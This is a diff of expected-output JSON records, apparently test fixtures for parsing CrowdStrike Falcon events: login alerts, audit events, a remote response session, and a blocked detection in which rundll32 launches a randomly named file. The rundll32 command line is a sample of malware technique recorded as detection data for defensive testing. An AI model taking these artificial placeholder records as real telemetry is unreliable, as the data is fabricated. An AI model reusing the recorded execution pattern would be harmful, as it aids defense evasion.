+                "command_line": "System",
+                "entity_id": "11111111",
+                "executable": "System",
+                "pid": 11111111
+            },
+            "related": {
+                "hosts": [
+                    "INPUNEDITCLP229"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ]
+            },
+            "rule": {
+                "category": "11111111aaaaaaaa",
+                "id": "4877172638743447345",
+                "name": "InboundSMBBlock&LogPrivate",
+                "ruleset": "SMBRules"
+            },
+            "source": {
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": "81.2.69.142",
+                "port": 53452
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2023-11-02T10:40:07.000Z",
+            "crowdstrike": {
+                "event": {
+                    "ActivityId": "76CC8396-7148-4CEB-84CB-08FAFE4FAC37",
+                    "DataDomains": "Identity",
+                    "Objective": "Gain Access",
+                    "PatternId": "51135",
+                    "Severity": 34,
+                    "SeverityName": "Low",
+                    "SourceAccountUpn": "admin.service@example.com",
+                    "SourceEndpointAccountObjectGuid": "C078A5DA-E13B-4418-AA28-802EF8C16210",
+                    "SourceEndpointAccountObjectSid": "S-1-S-1-S-1-1111-1844237615-1801674531-316681",
+                    "SourceEndpointSensorId": "a2f1de586958434eb5e14e30214e17ed",
+                    "SourceProducts": "FalconIdentityProtection",
+                    "SourceVendors": "CrowdStrike"
+                },
+                "metadata": {
+                    "customerIDString": "abcabcabc22222",
+                    "eventType": "IdpDetectionSummaryEvent",
+                    "offset": 8693906,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "ipd-detection",
+                "category": [
+                    "malware"
+                ],
+                "created": "2023-11-02T10:38:58.000Z",
+                "end": "2023-11-02T10:36:00.000Z",
+                "kind": "alert",
+                "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8693906,\"eventType\":\"IdpDetectionSummaryEvent\",\"eventCreationTime\":1698921607000,\"version\":\"1.0\"},\"event\":{\"ContextTimeStamp\":133433951380000000,\"DetectId\":\"abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222\",\"DetectName\":\"Unusual login to an endpoint\",\"DetectDescription\":\"A user logged into a machine for the first time\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222?_cid=abcabcabc22222\",\"StartTime\":133433949600000000,\"EndTime\":133433949600000000,\"Severity\":34,\"SeverityName\":\"Low\",\"Tactic\":\"InitialAccess\",\"Technique\":\"ValidAccounts\",\"Objective\":\"Gain Access\",\"SourceAccountDomain\":\"NA.AAA.ABC.com\",\"SourceAccountName\":\"abc.service\",\"SourceAccountUpn\":\"admin.service@example.com\",\"SourceAccountObjectSid\":\"S-1-S-1-S-1-1111-1844237615-1801674531-175881\",\"SourceEndpointAccountObjectGuid\":\"C078A5DA-E13B-4418-AA28-802EF8C16210\",\"SourceEndpointAccountObjectSid\":\"S-1-S-1-S-1-1111-1844237615-1801674531-316681\",\"SourceEndpointHostName\":\"nope122.na.net.ABC.com\",\"SourceEndpointIpAddress\":\"81.2.69.142\",\"SourceEndpointSensorId\":\"a2f1de586958434eb5e14e30214e17ed\",\"ActivityId\":\"76CC8396-7148-4CEB-84CB-08FAFE4FAC37\",\"PatternId\":51135,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"FalconIdentityProtection\",\"DataDomains\":\"Identity\"}}",
+                "reference": "https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222?_cid=abcabcabc22222",
+                "severity": 21,
+                "start": "2023-11-02T10:36:00.000Z",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "name": "nope122.na.net.ABC.com"
+            },
+            "message": "A user logged into a machine for the first time",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "hosts": [
+                    "nope122.na.net.ABC.com"
+                ],
+                "user": [
+                    "abc.service"
+                ]
+            },
+            "rule": {
+                "description": "A user logged into a machine for the first time",
+                "id": "abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222",
+                "name": "Unusual login to an endpoint",
+                "uuid": "51135"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "tactic": {
+                    "name": [
+                        "InitialAccess"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "ValidAccounts"
+                    ]
+                }
+            },
+            "user": {
+                "domain": "NA.AAA.ABC.com",
+                "id": "S-1-S-1-S-1-1111-1844237615-1801674531-175881",
+                "name": "abc.service"
+            }
+        },
+        {
+            "@timestamp": "2023-11-02T11:09:00.000Z",
+            "crowdstrike": {
+                "event": {
+                    "Category": "Detections",
+                    "NumberOfCompromisedEntities": 2,
+                    "NumbersOfAlerts": 1,
+                    "Severity": 4,
+                    "SeverityName": "LOW",
+                    "State": "NEW"
+                },
+                "metadata": {
+                    "customerIDString": "abcabcabc22222",
+                    "eventType": "IdentityProtectionEvent",
+                    "offset": 8694126,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Unusuallogintoanendpoint",
+                "category": [
+                    "iam"
+                ],
+                "created": "2023-11-02T11:12:03.065Z",
+                "end": "2023-11-02T11:09:00.000Z",
+                "id": "7a79b2de-4e10-41fb-818f-2bdf53c1625a",
+                "kind": "event",
+                "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8694126,\"eventType\":\"IdentityProtectionEvent\",\"eventCreationTime\":1698923523065,\"version\":\"1.0\"},\"event\":{\"IncidentType\":\"Unusuallogintoanendpoint\",\"IncidentDescription\":\"Unusuallogintoanendpoint\",\"Severity\":4,\"SeverityName\":\"LOW\",\"StartTime\":1698923340000,\"EndTime\":1698923340000,\"IdentityProtectionIncidentId\":\"7a79b2de-4e10-41fb-818f-2bdf53c1625a\",\"UserName\":\"NA.NET.ABC.com\\\\abc.service\",\"EndpointName\":\"itreg1d3wp8vh3.eu.net.ABC.com\",\"EndpointIp\":\"\",\"Category\":\"Detections\",\"NumbersOfAlerts\":1,\"NumberOfCompromisedEntities\":2,\"State\":\"NEW\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:7A79B2DE-4E10-41FB-818F-2BDF53C1625A\"}}",
+                "reference": "https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:7A79B2DE-4E10-41FB-818F-2BDF53C1625A",
+                "severity": 21,
+                "start": "2023-11-02T11:09:00.000Z",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "hostname": "itreg1d3wp8vh3.eu.net.ABC.com"
+            },
+            "message": "Unusuallogintoanendpoint",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "user": [
+                    "abc.service"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "NA.NET.ABC.com",
+                "name": "abc.service"
+            }
+        },
+        {
+            "@timestamp": "2023-11-02T12:21:39.000Z",
+            "crowdstrike": {
+                "event": {
+                    "Attributes": {
+                        "actor_cid": "abcabcabc22222",
+                        "actor_user": "admin.rose@example.com",
+                        "actor_user_uuid": "00000000-aaaa-480b-a05a-bb94ff5dc0fb",
+                        "app_id": "aaaaaaaa-2e60-4837-b987-c57020947cd6",
+                        "saml_assertion": "saml_assertion_sample",
+                        "target_user": "admin.rose@example.com",
+                        "trace_id": "000000-76c5-4861-92f1-355d0a908f40"
+                    },
+                    "AuditKeyValues": [
+                        {
+                            "Key": "target_user",
+                            "ValueString": "admin.rose@example.com"
+                        },
+                        {
+                            "Key": "trace_id",
+                            "ValueString": "19169200-76c5-4861-92f1-355d0a908f40"
+                        },
+                        {
+                            "Key": "saml_envelope",
+                            "ValueString": "SampleValue"
+                        },
+                        {
+                            "Key": "saml_assertion",
+                            "ValueString": "sampleassertion"
+                        },
+                        {
+                            "Key": "app_id",
+                            "ValueString": "fa8e047e-2e60-4837-b987-c57020947cd6"
+                        },
+                        {
+                            "Key": "actor_user",
+                            "ValueString": "admin.rose@example.com"
+                        },
+                        {
+                            "Key": "actor_user_uuid",
+                            "ValueString": "8940ddf0-bc3c-480b-a05a-bb94ff5dc0fb"
+                        },
+                        {
+                            "Key": "actor_cid",
+                            "ValueString": "abcabcabc22222"
+                        }
+                    ],
+                    "OperationName": "saml2Assert",
+                    "Success": true
+                },
+                "metadata": {
+                    "customerIDString": "abcabcabc22222",
+                    "eventType": "AuthActivityAuditEvent",
+                    "offset": 8694676,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "saml2Assert"
+                ],
+                "category": [
+                    "iam"
+                ],
+                "created": "2023-11-02T12:21:39.286Z",
+                "kind": "event",
+                "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8694676,\"eventType\":\"AuthActivityAuditEvent\",\"eventCreationTime\":1698927699286,\"version\":\"1.0\"},\"event\":{\"UserId\":\"admin.rose@example.com\",\"UserIp\":\"81.2.69.144\",\"OperationName\":\"saml2Assert\",\"ServiceName\":\"CrowdstrikeAuthentication\",\"Success\":true,\"UTCTimestamp\":1698927699,\"AuditKeyValues\":[{\"Key\":\"target_user\",\"ValueString\":\"admin.rose@example.com\"},{\"Key\":\"trace_id\",\"ValueString\":\"19169200-76c5-4861-92f1-355d0a908f40\"},{\"Key\":\"saml_envelope\",\"ValueString\":\"SampleValue\"},{\"Key\":\"saml_assertion\",\"ValueString\":\"sampleassertion\"},{\"Key\":\"app_id\",\"ValueString\":\"fa8e047e-2e60-4837-b987-c57020947cd6\"},{\"Key\":\"actor_user\",\"ValueString\":\"admin.rose@example.com\"},{\"Key\":\"actor_user_uuid\",\"ValueString\":\"8940ddf0-bc3c-480b-a05a-bb94ff5dc0fb\"},{\"Key\":\"actor_cid\",\"ValueString\":\"abcabcabc22222\"}],\"Attributes\":{\"actor_cid\":\"abcabcabc22222\",\"actor_user\":\"admin.rose@example.com\",\"actor_user_uuid\":\"00000000-aaaa-480b-a05a-bb94ff5dc0fb\",\"app_id\":\"aaaaaaaa-2e60-4837-b987-c57020947cd6\",\"saml_assertion\":\"saml_assertion_sample\",\"target_user\":\"admin.rose@example.com\",\"trace_id\":\"000000-76c5-4861-92f1-355d0a908f40\"}}}",
+                "outcome": "success"
+            },
+            "message": "CrowdstrikeAuthentication",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "admin.rose",
+                    "admin.rose@example.com"
+                ]
+            },
+            "source": {
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": "81.2.69.144"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "example.com",
+                "email": "admin.rose@example.com",
+                "name": "admin.rose"
+            }
+        },
+        {
+            "@timestamp": "2023-11-02T12:28:47.000Z",
+            "crowdstrike": {
+                "event": {
+                    "Attributes": {
+                        "device_id": "afjafanfafasfjaf",
+                        "message": "Removeduplicatesensor.",
+                        "seedID": "101"
+                    },
+                    "AuditKeyValues": [
+                        {
+                            "Key": "device_id",
+                            "ValueString": "abcancancbanjjagjaj"
+                        },
+                        {
+                            "Key": "seedID",
+                            "ValueString": "101"
+                        },
+                        {
+                            "Key": "message",
+                            "ValueString": "Removeduplicatesensor."
+                        }
+                    ],
+                    "ServiceName": "sensor_update_policy"
+                },
+                "metadata": {
+                    "customerIDString": "abcabcabc22222",
+                    "eventType": "UserActivityAuditEvent",
+                    "offset": 8694733,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "user_activity_audit_event",
+                "category": [
+                    "iam"
+                ],
+                "created": "2023-11-02T12:28:47.000Z",
+                "kind": "event",
+                "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8694733,\"eventType\":\"UserActivityAuditEvent\",\"eventCreationTime\":1698928127000,\"version\":\"1.0\"},\"event\":{\"UserId\":\"admin.rose@example.com\",\"UserIp\":\"81.2.69.144\",\"OperationName\":\"reveal_token\",\"ServiceName\":\"sensor_update_policy\",\"AuditKeyValues\":[{\"Key\":\"device_id\",\"ValueString\":\"abcancancbanjjagjaj\"},{\"Key\":\"seedID\",\"ValueString\":\"101\"},{\"Key\":\"message\",\"ValueString\":\"Removeduplicatesensor.\"}],\"UTCTimestamp\":1698928127,\"Attributes\":{\"device_id\":\"afjafanfafasfjaf\",\"message\":\"Removeduplicatesensor.\",\"seedID\":\"101\"}}}",
+                "type": [
+                    "change"
+                ]
+            },
+            "message": "reveal_token",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "admin.rose",
+                    "admin.rose@example.com"
+                ]
+            },
+            "source": {
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": "81.2.69.144"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "example.com",
+                "email": "admin.rose@example.com",
+                "name": "admin.rose"
+            }
+        },
+        {
+            "@timestamp": "2023-11-02T13:00:00.000Z",
+            "crowdstrike": {
+                "event": {
+                    "ExecutionID": "efghtigh",
+                    "ExecutionMetadata": {
+                        "ExecutionDuration": 152176,
+                        "ExecutionStart": 1698930019000,
+                        "ReportFileName": "Laroux_Search_2023_November_2_13017_34176.csv",
+                        "ResultCount": 0,
+                        "ResultID": "fffffzdlIiwiY3VzdG9tZXJfYXBwIjoiZWFtIiwic2lnbmF0dXJlX3BvcnRpb24iOiIzYWRhOTZiNDA4MTkxNTFhZmIxYjFkOTM2MWZhMmE1NjBmNGNkMzc0ODQxNTY4MDlkYzhmNDRkMmRkZDY1NzdlIn0=",
+                        "SearchWindowEnd": 1698930000000,
+                        "SearchWindowStart": 1698843600000
+                    },
+                    "ReportFileReference": "/reports/entities/report-executions-download/v1?ids=eeeeeeeeeerrrrr444444",
+                    "ReportID": "999999ddddddddd",
+                    "ReportName": "LarouxSearch",
+                    "ReportType": "event_search",
+                    "Status": "1",
+                    "StatusMessage": "message",
+                    "UserUUID": "9999999-bc3c-99bb-a05a-bb94ff5dc0fb"
+                },
+                "metadata": {
+                    "customerIDString": "abcabcabc22222",
+                    "eventType": "ScheduledReportNotificationEvent",
+                    "offset": 8694992,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "created": "2023-11-02T13:02:52.000Z",
+                "kind": "event",
+                "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8694992,\"eventType\":\"ScheduledReportNotificationEvent\",\"eventCreationTime\":1698930172000,\"version\":\"1.0\"},\"event\":{\"UserUUID\":\"9999999-bc3c-99bb-a05a-bb94ff5dc0fb\",\"UserID\":\"admin.rose@example.com\",\"ExecutionID\":\"efghtigh\",\"ReportID\":\"999999ddddddddd\",\"ReportName\":\"LarouxSearch\",\"ReportType\":\"event_search\",\"ReportFileReference\":\"/reports/entities/report-executions-download/v1?ids=eeeeeeeeeerrrrr444444\",\"Status\":1,\"StatusMessage\":\"message\",\"ExecutionMetadata\":{\"ExecutionStart\":1698930019000,\"ExecutionDuration\":152176,\"ReportFileName\":\"Laroux_Search_2023_November_2_13017_34176.csv\",\"ResultCount\":0,\"ResultID\":\"fffffzdlIiwiY3VzdG9tZXJfYXBwIjoiZWFtIiwic2lnbmF0dXJlX3BvcnRpb24iOiIzYWRhOTZiNDA4MTkxNTFhZmIxYjFkOTM2MWZhMmE1NjBmNGNkMzc0ODQxNTY4MDlkYzhmNDRkMmRkZDY1NzdlIn0=\",\"SearchWindowStart\":1698843600000,\"SearchWindowEnd\":1698930000000}}}"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "user": [
+                    "admin.rose",
+                    "admin.rose@example.com"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "example.com",
+                "email": "admin.rose@example.com",
+                "id": "admin.rose@example.com",
+                "name": "admin.rose"
+            }
+        },
+        {
+            "@timestamp": "2023-11-02T13:41:34.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AgentIdString": "fffffffff33333",
+                    "SessionId": "1111-fffff-4bb4-99c1-74c13cfc3e5a"
+                },
+                "metadata": {
+                    "customerIDString": "abcabcabc22222",
+                    "eventType": "RemoteResponseSessionStartEvent",
+                    "offset": 8695284,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "remote_response_session_start_event"
+                ],
+                "category": [
+                    "network",
+                    "session"
+                ],
+                "created": "2023-11-02T13:41:34.000Z",
+                "kind": "event",
+                "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8695284,\"eventType\":\"RemoteResponseSessionStartEvent\",\"eventCreationTime\":1698932494000,\"version\":\"1.0\"},\"event\":{\"SessionId\":\"1111-fffff-4bb4-99c1-74c13cfc3e5a\",\"HostnameField\":\"UKCHUDL00206\",\"UserName\":\"admin.rose@example.com\",\"StartTimestamp\":1698932494,\"AgentIdString\":\"fffffffff33333\"}}",
+                "start": "2023-11-02T13:41:34.000Z",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "name": "UKCHUDL00206"
+            },
+            "message": "Remote response session started.",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "hosts": [
+                    "UKCHUDL00206"
+                ],
+                "user": [
+                    "admin.rose",
+                    "admin.rose@example.com"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "example.com",
+                "email": "admin.rose@example.com",
+                "name": "admin.rose"
+            }
+        },
+        {
+            "@timestamp": "2023-11-02T13:43:35.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AssociatedFile": "\\Device\\HarddiskVolume4\\Windows\\System32\\rundll32.exe",
+                    "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe",
+                    "GrandparentImageFileName": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe",
+                    "HostGroups": [
+                        "e2091491a28248eaae3ede9f217e03fc",
+                        "e837d750b8ba400c953380da346e2b04",
+                        "186c20383a98495cb0e0a7d5540f3aff",
+                        "24d1f760fcdc46d992bb8f41d7dd897b",
+                        "2b7bd0fede874baaa1afdea20f255632",
+                        "a293aded9c4548469d0e853b7267cce5",
+                        "adab9db4541040729e01d16211189a27",
+                        "b75b27ce17244922bd0a862a712ea812"
+                    ],
+                    "IOCType": "hash_sha256",
+                    "IOCValue": "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e",
+                    "MACAddress": "02-50-41-00-00-01",
+                    "Objective": "KeepAccess",
+                    "ParentImageFileName": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe",
+                    "PatternDispositionFlags": {
+                        "BlockingUnsupportedOrDisabled": false,
+                        "BootupSafeguardEnabled": false,
+                        "CriticalProcessDisabled": false,
+                        "Detect": false,
+                        "FsOperationBlocked": false,
+                        "HandleOperationDowngraded": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillActionFailed": false,
+                        "KillParent": false,
+                        "KillProcess": false,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": false,
+                        "ProcessBlocked": true,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "RegistryOperationBlocked": false,
+                        "Rooting": false,
+                        "SensorOnly": false,
+                        "SuspendParent": false,
+                        "SuspendProcess": false
+                    },
+                    "PatternDispositionValue": 2048,
+                    "PatternId": "10186",
+                    "SensorId": "69027ffffffffffffaaf50",
+                    "Severity": 4,
+                    "SeverityName": "High"
+                },
+                "metadata": {
+                    "customerIDString": "abcabcabc22222",
+                    "eventType": "DetectionSummaryEvent",
+                    "offset": 8695332,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Prevention,processwasblockedfromexecution.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2023-11-02T13:43:35.000Z",
+                "kind": "alert",
+                "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8695332,\"eventType\":\"DetectionSummaryEvent\",\"eventCreationTime\":1698932615000,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1698932614,\"ProcessEndTime\":1698932614,\"ProcessId\":54665651,\"ParentProcessId\":540396081,\"ComputerName\":\"INNOIDL0032\",\"UserName\":\"vishnu.sharma\",\"DetectName\":\"AttackerMethodology\",\"DetectDescription\":\"Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.\",\"Severity\":4,\"SeverityName\":\"High\",\"FileName\":\"rundll32.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\",\"CommandLine\":\"\\\"C:\\\\Windows\\\\System32\\\\rundll32.exe\\\"\\\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh\",\"SHA256String\":\"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e\",\"MD5String\":\"a52bfa4a96f97c368312028dbd7c8461\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"MachineDomain\":\"AP\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a\",\"SensorId\":\"69027ffffffffffffaaf50\",\"IOCType\":\"hash_sha256\",\"IOCValue\":\"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e\",\"DetectId\":\"ldt:690ddddddd0721205\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"02-50-41-00-00-01\",\"Tactic\":\"DefenseEvasion\",\"Technique\":\"Rundll32\",\"Objective\":\"KeepAccess\",\"PatternDispositionDescription\":\"Prevention,processwasblockedfromexecution.\",\"PatternDispositionValue\":2048,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":true,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"ParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandparentImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"GrandparentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"HostGroups\":\"e2091491a28248eaae3ede9f217e03fc,e837d750b8ba400c953380da346e2b04,186c20383a98495cb0e0a7d5540f3aff,24d1f760fcdc46d992bb8f41d7dd897b,2b7bd0fede874baaa1afdea20f255632,a293aded9c4548469d0e853b7267cce5,adab9db4541040729e01d16211189a27,b75b27ce17244922bd0a862a712ea812\",\"Tags\":\"SensorGroupingTags/USB_Storage_Exception\",\"AssociatedFile\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\rundll32.exe\",\"PatternId\":10186}}",
+                "reference": "https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a",
+                "severity": 73,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "a52bfa4a96f97c368312028dbd7c8461",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e"
+                },
+                "name": "rundll32.exe",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\System32"
+            },
+            "host": {
+                "domain": "AP",
+                "name": "INNOIDL0032"
+            },
+            "message": "Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh"
+                ],
+                "command_line": "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh",
+                "end": "2023-11-02T13:43:34.000Z",
+                "entity_id": "54665651",
+                "executable": "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh",
+                "name": "rundll32.exe",
+                "parent": {
+                    "args": [
+                        "C:\\Windows\\Explorer.EXE"
+                    ],
+                    "command_line": "C:\\Windows\\Explorer.EXE",
+                    "entity_id": "540396081",
+                    "executable": "C:\\Windows\\Explorer.EXE",
+                    "pid": 540396081
+                },
+                "pid": 54665651,
+                "start": "2023-11-02T13:43:34.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e",
+                    "a52bfa4a96f97c368312028dbd7c8461"
+                ],
+                "hosts": [
+                    "INNOIDL0032"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "vishnu.sharma"
+                ]
+            },
+            "rule": {
+                "description": "Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.",
+                "id": "ldt:690ddddddd0721205",
+                "name": "AttackerMethodology"
+            },
+            "source": {
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": "81.2.69.144"
+            },
+            "tags": [
+                "preserve_original_event",
+                "SensorGroupingTags/USB_Storage_Exception"
+            ],
+            "threat": {
+                "tactic": {
+                    "name": [
+                        "DefenseEvasion"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Rundll32"
+                    ]
+                }
+            },
+            "user": {
+                "name": "vishnu.sharma"
+            }
+        },
+        {
+            "@timestamp": "2023-11-03T00:36:37.000Z",
+            "crowdstrike": {
+                "event": {
+                    "FineScore": 6.1,
+                    "IncidentType": "1",
+                    "State": "open"
+                },
+                "metadata": {
+                    "customerIDString": "abcabcabc22222",
+                    "eventType": "IncidentSummaryEvent",
+                    "offset": 8698239,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "incident"
+                ],
+                "category": [
+                    "malware"
+                ],
+                "created": "2023-11-03T00:36:37.000Z",
+                "end": "2023-11-03T00:36:37.000Z",
+                "id": "inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e",
+                "kind": "alert",
+                "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8698239,\"eventType\":\"IncidentSummaryEvent\",\"eventCreationTime\":1698971797000,\"version\":\"1.0\"},\"event\":{\"IncidentStartTime\":1698971797,\"IncidentEndTime\":1698971797,\"FalconHostLink\":\"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e?_cid=ggggffffhhhhjjjjj\",\"State\":\"open\",\"FineScore\":6.1,\"LateralMovement\":0,\"IncidentType\":1,\"IncidentID\":\"inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e\",\"HostID\":\"4345454534534545\"}}",
+                "reference": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e?_cid=ggggffffhhhhjjjjj",
+                "start": "2023-11-03T00:36:37.000Z",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
